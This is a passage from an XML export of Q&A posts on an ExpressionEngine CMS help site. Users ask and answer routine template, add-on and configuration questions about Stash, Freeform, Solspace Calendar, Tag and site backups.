entry--}&#xA;            {if st2:no_results}&#xA;                &amp;lt;li&amp;gt;{st1:entry_id} : {st1:title}&amp;lt;/li&amp;gt;&#xA;            {/if}&#xA;            {!--tweet--}&#xA;            &amp;lt;li&amp;gt;{st2:entry_id} : {st2:title}&amp;lt;/li&amp;gt;&#xA;            {!--3rd main--}&#xA;            &amp;lt;li&amp;gt;{st1:entry_id} : {st1:title}&amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list:nested}&#xA;&#xA;    {!--otherwise output main channel entry--}&#xA;    {if:else}&#xA;        &amp;lt;li&amp;gt;{st1:entry_id} : {st1:title}&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2015-04-02T12:22:55.530" LastActivityDate="2015-04-02T12:22:55.530" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30778" PostTypeId="1" CreationDate="2015-03-29T23:28:44.770" Score="0" ViewCount="61" Body="&lt;p&gt;Is it possible to show incomplete multipage entries within {exp:freeform:entries}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries form_id=&quot;2&quot; status=&quot;open|pending|closed&quot;}&#xA;...&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's only returning 'complete' entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The incomplete entries are being captured and are available in EE Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using FreeForm Pro 4.2.2 on EE 2.9.3&lt;/p&gt;&#xA;" OwnerUserId="6177" LastActivityDate="2016-06-14T20:47:12.483" Title="Displaying incomplete mutlipage entries in Freeform Pro {exp:freeform:entries}" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30779" PostTypeId="2" ParentId="30771" CreationDate="2015-03-30T08:35:10.063" Score="0" Body="&lt;p&gt;As mentioned in another answer, you would need to use the &lt;a href=&quot;http://www.solspace.com/docs/tag/using_with_channel_form/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Tag Widget&lt;/strong&gt;, i.e. &lt;code&gt;{field:my_tag_custom_field_name}&lt;/code&gt;&lt;/a&gt; to add tags from a Channel Form in which you're creating a new channel entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens in the background is that tags are added to a textarea field with &lt;code&gt;name=&quot;my_tag_custom_field_name&quot;&lt;/code&gt;, with each tag on a separate line (newline-separated). If you have a regular textarea field with your Tag field's name in the &lt;code&gt;name=&quot;&quot;&lt;/code&gt; attribute, you can also enter new tags as long as each tag is on their own line. This happens to be a coincidence that it works, since Channel Form should use the Tag Widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use &lt;code&gt;{exp:tag:form}&lt;/code&gt; to add tags to a &lt;em&gt;pre-existing&lt;/em&gt; entry: &lt;a href=&quot;http://www.solspace.com/docs/tag/form/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/tag/form/&lt;/a&gt;. In this case, you would have to create an entry first, &lt;em&gt;then&lt;/em&gt; add tags to the newly created entry.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-30T08:35:10.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30780" PostTypeId="2" ParentId="10060" CreationDate="2015-03-30T11:10:48.887" Score="0" Body="&lt;p&gt;I realise this is a little late, but I'd recommend looking at the Batchbook API docs: &lt;a href=&quot;http://developer.batchblue.com/&quot; rel=&quot;nofollow&quot;&gt;http://developer.batchblue.com/&lt;/a&gt;, plus their php library: &lt;a href=&quot;https://github.com/batchblue/batchbook-php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/batchblue/batchbook-php&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create an EE addon harnessing this library which would do what you needed (or you could get someone else to build it for you).&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2015-03-30T11:10:48.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30781" PostTypeId="1" AcceptedAnswerId="30844" CreationDate="2015-03-30T12:08:17.683" Score="0" ViewCount="88" Body="&lt;p&gt;I am having trouble showing a list of &lt;strong&gt;map&lt;/strong&gt; categories that are not empty but they must work in conjunction with the &lt;strong&gt;countries&lt;/strong&gt; category group &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No children categories needed&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My categories setup&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Map group&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Topographic&lt;/li&gt;&#xA;&lt;li&gt;Geophysical&lt;/li&gt;&#xA;&lt;li&gt;Geology&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Countries group&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Kenya&lt;/li&gt;&#xA;&lt;li&gt;South Africa&lt;/li&gt;&#xA;&lt;li&gt;Tanzania&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Eg:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Entry one - Kenya &amp;amp; Geology&lt;/li&gt;&#xA;&lt;li&gt;Entry two - Kenya &amp;amp; Geology&lt;/li&gt;&#xA;&lt;li&gt;Entry three - Kenya &amp;amp; Geophysical&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My result should be on this address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url: &lt;code&gt;/maps/category/kenya&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Geophysical&lt;/li&gt;&#xA;&lt;li&gt;Geology&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Any ideas, no luck with native categories and Gwcode categories tags. Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1350" LastActivityDate="2015-04-02T09:40:11.640" Title="Working with multiple categories group, show not empty from only one category group" Tags="|categories|gwcode-categories|category-group|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30782" PostTypeId="1" CreationDate="2015-03-30T12:52:40.513" Score="1" ViewCount="50" Body="&lt;p&gt;Is there a way to remove images from an entry but not delete it from the filesystem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;L.&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2016-05-22T14:23:46.510" Title="Is it possible to remove but not delete an image from Channel Images?" Tags="|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30783" PostTypeId="1" CreationDate="2015-03-30T14:47:09.720" Score="0" ViewCount="91" Body="&lt;p&gt;Is there a way to configure EE to allow it to be accessed from more than one URL?  Our site has some multilingual capabilities, and we would like to be able to offer users in some areas the ability to access the site from domains that are appropriate for the language.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are having problems when the Site URL and Themes URL are not based off the same FQDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we put the FQDN in the &quot;Site URL&quot; field, the site overwrites the inbound URL with the site URL on the first click within the site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we replace the FQDN with &quot;/&quot; the site works OK for browsing and preserves the inbound DN in the URL.  However resources accessed via the Themes URL setting (e.g. Font Files) fail as browser fail to load them due to 'cross-origin resource sharing' preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we replace the Themes URL with &quot;/themes&quot; we get various page-link 'not found' errors when trying to access pages via category based links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an established solution to this issue? I cannot believe we are the first to encounter it... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot in advance for any / all help.&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2015-04-06T23:01:56.703" Title="Configure to allow EE site to be accessed from more than one domain?" Tags="|ee|config|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30784" PostTypeId="1" CreationDate="2015-03-30T15:36:23.650" Score="0" ViewCount="553" Body="&lt;p&gt;My client is moving to a different platform and they want me to &quot;download&quot; their current EE site so they can have an archive of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do this?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6178" LastActivityDate="2015-03-31T21:51:30.070" Title="How can I download and archive my entire EE website?" Tags="|backup|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30785" PostTypeId="2" ParentId="30784" CreationDate="2015-03-30T17:10:11.203" Score="1" Body="&lt;p&gt;You need to connect to the server the site is hosted, and either use ftp or ssh to copy the entire directory to a local machine. You will also need to export the database, which should be specified in &lt;code&gt;system &amp;gt; expressionengine &amp;gt; config &amp;gt; database.php&lt;/code&gt;. You can do this in phpmyadmin by finding the appropriate database, select the export tab, and save as a sql file.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-30T17:10:11.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30787" PostTypeId="1" CreationDate="2015-03-30T20:59:32.790" Score="1" ViewCount="31" Body="&lt;p&gt;I'm using Solspace tag as a 'subject' field in conjunction with EE's native Channel Form. We have set the field to required using the rules parameter...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rules:FieldYear=&quot;required&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the user doesn't hit enter when inputting a subject tag (or select an existing tag from the list), i.e. it doesn't get added as a tag and just sits in the field as text - the form will not submit. It's basically not counting it as a valid field, as technically there is no tag selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any simple way to just convert that text to a tag on submission? Would be really helpful!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(p.s. The reason why we're using the rules parameter is it gives a lot more flexibility, as you can make a field required in a specific form rather than globally across the site)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3409" LastActivityDate="2016-06-04T11:47:48.923" Title="Adding Solspace Tag in Channel Form without need to hit return" Tags="|solspace|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30788" PostTypeId="1" CreationDate="2015-03-30T22:31:31.263" Score="1" ViewCount="136" Body="&lt;p&gt;We have a client that uses a Windows computer that auto rotates images from his camera, but when uploaded are rotated 90 degrees. We know you can rotate images in the File Manager, but it's not very user friendly and we usually try to keep clients out of there, hence Assets. Does anyone know a solution or plugin we could implement into Assets or Control Panel in general that's easier to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.5&lt;br&gt;&#xA;Assets v2.1.3&lt;/p&gt;&#xA;" OwnerUserId="1539" LastEditorUserId="1539" LastEditDate="2015-03-30T22:40:16.293" LastActivityDate="2016-06-08T09:17:03.027" Title="Assets Image Rotation" Tags="|assets|control-panel|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30789" PostTypeId="1" AcceptedAnswerId="30795" CreationDate="2015-03-31T00:01:58.857" Score="0" ViewCount="53" Body="&lt;p&gt;I'm using Solspace Calendar and this code for showing single events...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events event_id=&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works find for showing events in the future, however for past events it's showing No Results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The past entry status are Open and there is no expiration date.&lt;/p&gt;&#xA;" OwnerUserId="407" LastActivityDate="2015-03-31T08:29:33.180" Title="Calendar event in the past no showing" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30790" PostTypeId="1" AcceptedAnswerId="30878" CreationDate="2015-03-31T00:56:27.617" Score="1" ViewCount="150" Body="&lt;p&gt;I'm currently working in a development server and have certain conditions in my templates that rely on, say, entry_id. When I migrate the site to a production server, that entry_id is bound to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's an effective approach to handling these environmental variables?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-04-04T12:25:29.580" Title="Staging &amp; Production server settings - how to manage?" Tags="|deployment|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30791" PostTypeId="2" ParentId="30784" CreationDate="2015-03-31T03:05:44.337" Score="1" Body="&lt;p&gt;Do you mean an viewable archive of the whole site? If so &lt;a href=&quot;https://www.httrack.com/&quot; rel=&quot;nofollow&quot;&gt;HTTrack&lt;/a&gt; is what I use in such a case. Let's you grab the whole site and if you want you put it on an CD-Rom, DVD or USB-Stick to view and browse offline.&lt;/p&gt;&#xA;" OwnerUserId="686" LastActivityDate="2015-03-31T03:05:44.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30792" PostTypeId="1" AcceptedAnswerId="30829" CreationDate="2015-03-31T04:59:45.670" Score="1" ViewCount="90" Body="&lt;p&gt;I'm trying the following code to save the latest visited url across a page reload:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TEMPLATE A:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:set name=&quot;latest_url&quot; scope=&quot;site&quot; save=&quot;yes&quot; refresh=&quot;60&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:current_url:full_url}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:stash:set}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TEMPLATE B:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:latest_url}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:get name='latest_url'}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no output, whatever I do!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the current url is successfully grabbed in template A, which I can see, after turning output to &quot;yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong?&lt;/p&gt;&#xA;" OwnerUserId="321" LastActivityDate="2015-04-01T14:15:26.947" Title="How to save the current url across page reload with Stash?" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30793" PostTypeId="1" CreationDate="2015-03-31T08:16:07.997" Score="1" ViewCount="66" Body="&lt;p&gt;If i am logged into the control panel via &quot;system&quot; and create a menu and save it in zoo flex admin, it can only be used if you login via &quot;system&quot; and not admin.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do use admin.php and click the links you get a 404, and vice versa if you create them when logged in via /admin.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas how i can use both?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-03-31T08:16:07.997" Title="Zoo Flexible Admin" Tags="|zoo|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30794" PostTypeId="2" ParentId="30787" CreationDate="2015-03-31T08:21:59.430" Score="0" Body="&lt;p&gt;Sorry, that is currently not available. If you're using the &lt;a href=&quot;http://www.solspace.com/docs/tag/using_with_channel_form/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Tag Widget&lt;/strong&gt;&lt;/a&gt;, you must press [Enter] between each tag. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, instead of the Tag widget field you could simply have a textarea field with &lt;code&gt;name=&quot;my_tag_field_name&quot;&lt;/code&gt;, and make sure each tag is on a separate line. That's essentially what the Tag widget does in the background, but in this case having a single tag in the field would submit that value with the form, and not trigger your required... requirement :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea could be to trigger some javascript before form submission, where fields with &lt;code&gt;name=&quot;my_tag_field_name&quot;&lt;/code&gt; are checked for any content. If the field is empty, fill the field with &lt;em&gt;something&lt;/em&gt; then continue with the form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet another idea would be to develop an extension which adds a value in the array of data being submitted to EE if the tag field is empty. This would have to happen before the Channel Form's validation kicks in.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-31T08:21:59.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30795" PostTypeId="2" ParentId="30789" CreationDate="2015-03-31T08:29:33.180" Score="0" Body="&lt;p&gt;If you're looking to display &lt;strong&gt;upcoming or past events&lt;/strong&gt;, you should use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; instead of other Calendar tags. &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; is the only tag that will display event data in a chronological way. With this tag, the following tag would display events from 1 month past to now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    date_range_start=&quot;1 month ago&quot;&#xA;    date_range_end=&quot;today&quot;&#xA;    pad_short_weeks=&quot;n&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(You could throw in an &lt;code&gt;event_id=&quot;&quot;&lt;/code&gt; in there as well if needed to limit the list to an event) &#xA;More details about why {exp:calendar:cal} is the tag to use for chronological data can be found here (&lt;strong&gt;Recommended read&lt;/strong&gt;):&#xA;&lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Quick summary&lt;/em&gt;: &lt;code&gt;{exp:calendar:events}&lt;/code&gt; would be used for general information about the event entry (eg. event location, summary, start/end dates set in the entry), and &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; is used for most things related to &lt;em&gt;time&lt;/em&gt; (eg. upcoming events, past events, events between X and Y, chronological order of events and their occurrences, etc).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-31T08:29:33.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30796" PostTypeId="1" AcceptedAnswerId="30827" CreationDate="2015-03-31T08:46:52.500" Score="0" ViewCount="161" Body="&lt;p&gt;I'm trying to group the results returned from Low Search using Stash. I started by creating a stash list of all the groups, I then tried to create a nested list containing the products for that group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I call the get_list, I can return the groups just fine, but trying to fetch the products returns nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code so far (Bear in mind I know that this will add ALL products into each group, but I'm taking this one step at a time)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;includes/_layout&quot;}&#xA;&#xA;    {exp:stash:set parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;&#xA;        {!-- Set Other Page Data --}&#xA;&#xA;&#xA;        {!-- Results --}&#xA;        {exp:stash:set_list:searchRanges name=&quot;searchRanges&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;            {exp:low_search:results query=&quot;{segment_3}&quot; collection=&quot;products&quot; keywords:lang=&quot;en&quot; keywords:inflect=&quot;yes&quot; keywords:loose=&quot;right&quot; keywords:mode=&quot;all&quot; limit=&quot;999&quot;}&#xA;                {stash:itemRange}{products__range:url_title}{/stash:itemRange}&#xA;&#xA;                {exp:stash:append_list:nested name=&quot;searchResults--{products__range:url_title}&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;                    {stash:productTitle}sdfds{/stash:productTitle}&#xA;                {/exp:stash:append_list:nested}&#xA;            {/exp:low_search:results}&#xA;        {/exp:stash:set_list:searchRanges}&#xA;&#xA;    {/exp:stash:set}&#xA;&#xA;&#xA;&#xA;    {!-- Fetch the data --}&#xA;    {exp:stash:get_list name=&quot;searchRanges&quot; unique=&quot;itemRange&quot;}&#xA;        &amp;lt;p&amp;gt;{itemRange} - This is being returned.&amp;lt;/p&amp;gt;&#xA;&#xA;        {!-- Adding process=&quot;end&quot; to this makes it return the correct amount, but adding process=&quot;end&quot; to the nested get_list still returns nothing --}&#xA;        {exp:stash:list_count name=&quot;searchResults--{itemRange}&quot; process=&quot;end&quot;}&#xA;&#xA;        {exp:stash:get_list:nested name=&quot;searchResults--{itemRange}&quot;}&#xA;            &amp;lt;p&amp;gt;This content isn't being returned&amp;lt;/p&amp;gt;&#xA;        {/exp:stash:get_list:nested}&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the template debugger, I can see the get_list is parsing the &lt;code&gt;name=&quot;searchResults--{itemRange}&quot;&lt;/code&gt; correctly, but I can't see the list being set anywhere, so looks like an it's an issue with the nested list not being set. I've tried adding process=&quot;end&quot; to the nested append_list but nothing still&lt;/p&gt;&#xA;" OwnerUserId="2764" LastEditorUserId="2764" LastEditDate="2015-04-01T10:47:44.447" LastActivityDate="2015-04-01T13:44:01.847" Title="Stash &amp; Low Search - Group results by releationship" Tags="|stash|search|low-search|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30797" PostTypeId="1" CreationDate="2015-03-31T09:19:32.233" Score="1" ViewCount="40" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Conditionals - This allows customer information to increase or decrease the price of your subscription. For example the customer is in Canada and you are shipping a product to the customer each month. This would allow for an additional conditional charge if the customer chooses Canada in their customer information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This seems limited to certain customer fields, like country or state, but is there any way to have a field 'tick to add this as a gift' +$ as part of a subscription?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2016-06-09T19:36:08.260" Title="Can you add +$ for gifts in dev demon subscriptions?" Tags="|devdemon|subscriptions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30799" PostTypeId="2" ParentId="30783" CreationDate="2015-03-31T11:51:33.763" Score="1" Body="&lt;p&gt;It sounds like you need to take a look at the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/sites/index.html&quot; rel=&quot;nofollow&quot;&gt;Multiple Site Manager&lt;/a&gt; add-on from EllisLab.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2015-03-31T11:51:33.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30800" PostTypeId="1" CreationDate="2015-03-31T12:49:43.287" Score="0" ViewCount="91" Body="&lt;p&gt;I've been working on moving a ton of content around on a large University site.  I'm suddenly encountering a problem where the Pages module gets zeroed out. Pages start breaking all over the site, and when I go to the Pages Module, there are no entries in the listing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a limit to the number of pages I can put in the pages module?  Could this be a different issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also notice that the pages aren't nested properly (at least how I would think they would be nested) in the pages module.  Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+foo&#xA;++foo/bar&#xA;++superman&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or worse:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+superman&#xA;++foo&#xA;++foo/bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When foo has nothing to do with Superman, at all.  Am I not reading the pages nested output right?  Is something other than URI segments driving that nesting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2 , Pages 2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6182" LastEditorUserId="6182" LastEditDate="2015-03-31T15:16:38.140" LastActivityDate="2015-11-30T05:03:27.107" Title="Is there a limit to Pages in Pages Module?" Tags="|pages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30802" PostTypeId="2" ParentId="30797" CreationDate="2015-03-31T13:18:30.053" Score="0" Body="&lt;p&gt;Currently you have to do this in the template and use a form field to send the price. We are working on an improved system that will work more like attributes in shopping carts. &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-03-31T13:18:30.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30803" PostTypeId="1" AcceptedAnswerId="30805" CreationDate="2015-03-31T14:12:10.493" Score="1" ViewCount="55" Body="&lt;p&gt;I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:email:contact_form&#xA;    charset=&quot;utf-8&quot;&#xA;    form_class=&quot;customer-email-form&quot;&#xA;    recipients={exp:stash:get name='recipients'}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that the &lt;code&gt;recipients&lt;/code&gt; parameter's value is not in quotes. When I put quotes and try to send an email, I get &quot;no recipients&quot; error. However, if I replace the Stash with hard coded email address(es), I need the quotes to make the email form work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong? Or is this expected behavior?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-03-31T14:59:52.780" Title="Adding quotes around a parameter causes error?" Tags="|templates|stash|parameters|email-contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30804" PostTypeId="2" ParentId="30783" CreationDate="2015-03-31T14:36:28.543" Score="1" Body="&lt;p&gt;What are you trying to accomplish? We typically allow multiple domains to point to the same site, but then use .htaccess to redirect them to a single, canonical domain. This would prevent your issue, as well as protect you from duplicate content SEO penalties.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2015-03-31T14:36:28.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30805" PostTypeId="2" ParentId="30803" CreationDate="2015-03-31T14:59:52.780" Score="3" Body="&lt;p&gt;I believe you're running into problems with the parse order. When you add quotes, recipients becomes a valid parameter but it isn't parsed yet. When you remove the quotes, it becomes an invalid parameter and is ignored. You should be able to add &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to the contact_form parameters to parse recipients first. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:email:contact_form&#xA;    charset=&quot;utf-8&quot;&#xA;    form_class=&quot;customer-email-form&quot;&#xA;    recipients=&quot;{exp:stash:get name='recipients'}&quot;&#xA;    parse=&quot;inward&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is some documentation and examples about this problem &lt;a href=&quot;https://speakerdeck.com/croxton/stash-core-principles?slide=8&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-31T14:59:52.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30806" PostTypeId="2" ParentId="30693" CreationDate="2015-03-31T15:37:45.760" Score="0" Body="&lt;p&gt;I would put the third party themes and system folders into /system/expressionengine/config/config.php as config overrides like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add-on themes path&#xA;config['path_third_themes'] = '/addons/themes/';&#xA;config['url_third_themes'] =  '/addons/themes/';&#xA;&#xA;// add-on system path&#xA;$env_config['third_party_path']    = $base_path . '/addons/system/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be sure to change the above path to to be correct for your server.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-03-31T15:37:45.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
